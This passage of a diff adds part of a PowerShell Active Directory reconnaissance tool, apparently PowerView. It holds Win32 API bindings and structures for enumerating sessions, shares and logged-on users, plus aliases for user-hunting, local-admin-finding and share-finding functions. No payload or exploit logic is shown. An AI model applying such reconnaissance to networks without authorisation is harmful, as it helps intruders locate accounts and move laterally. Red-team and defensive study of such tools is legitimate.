[Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func kernel32 GetLastError ([Int]) @()) +) + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ + shi1_netname = field 0 String -MarshalAs @('LPWStr') + shi1_type = field 1 UInt32 + shi1_remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ + wkui1_username = field 0 String -MarshalAs @('LPWStr') + wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') + wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') + wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ + sesi10_cname = field 0 String -MarshalAs @('LPWStr') + sesi10_username = field 1 String -MarshalAs @('LPWStr') + sesi10_time = field 2 UInt32 + sesi10_idle_time = field 3 UInt32 +} + + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Kernel32 = $Types['kernel32'] +$Wtsapi32 = $Types['wtsapi32'] + +# aliases to help the PowerView 2.0 transition +Set-Alias Get-NetForestDomains Get-NetForestDomain +Set-Alias Get-NetDomainControllers Get-NetDomainController +Set-Alias Get-NetUserSPNs Get-NetUser +Set-Alias Invoke-NetUserAdd Add-NetUser +Set-Alias Invoke-NetGroupUserAdd Add-NetGroupUser +Set-Alias Get-NetComputers Get-NetComputer +Set-Alias Get-NetOUs Get-NetOU +Set-Alias Get-NetGUIDOUs Get-NetOU +Set-Alias Get-NetFileServers Get-NetFileServer +Set-Alias Get-NetSessions Get-NetSession +Set-Alias Get-NetRDPSessions Get-NetRDPSession +Set-Alias Get-NetProcesses Get-NetProcess +Set-Alias Get-UserLogonEvents Get-UserEvent +Set-Alias Get-UserTGTEvents Get-UserEvent +Set-Alias Get-UserProperties Get-UserProperty +Set-Alias Get-ComputerProperties Get-ComputerProperty +Set-Alias Invoke-UserHunterThreaded Invoke-UserHunter +Set-Alias Invoke-ProcessHunterThreaded Invoke-ProcessHunter +Set-Alias Invoke-ShareFinderThreaded Invoke-ShareFinder +Set-Alias Invoke-SearchFiles Find-InterestingFile +Set-Alias Invoke-UserFieldSearch Find-UserField +Set-Alias Invoke-ComputerFieldSearch Find-ComputerField +Set-Alias Invoke-FindLocalAdminAccess Find-LocalAdminAccess +Set-Alias Invoke-FindLocalAdminAccessThreaded Find-LocalAdminAccess +Set-Alias Get-NetDomainTrusts Get-NetDomainTrust +Set-Alias Get-NetForestTrusts Get-NetForestTrust +Set-Alias Invoke-MapDomainTrusts Invoke-MapDomainTrust +Set-Alias Invoke-FindUserTrustGroups Find-ForeignUser +Set-Alias Invoke-FindGroupTrustUsers Find-ForeignGroup +Set-Alias Invoke-EnumerateLocalTrustGroups Invoke-EnumerateLocalAdmin +Set-Alias Invoke-EnumerateLocalAdmins Invoke-EnumerateLocalAdmin +Set-Alias Invoke-EnumerateLocalAdminsThreaded Invoke-EnumerateLocalAdmin +Set-Alias Invoke-FindAllUserTrustGroups Find-ForeignUser +Set-Alias Find-UserTrustGroup Find-ForeignUser +Set-Alias Invoke-FindAllGroupTrustUsers Find-ForeignGroup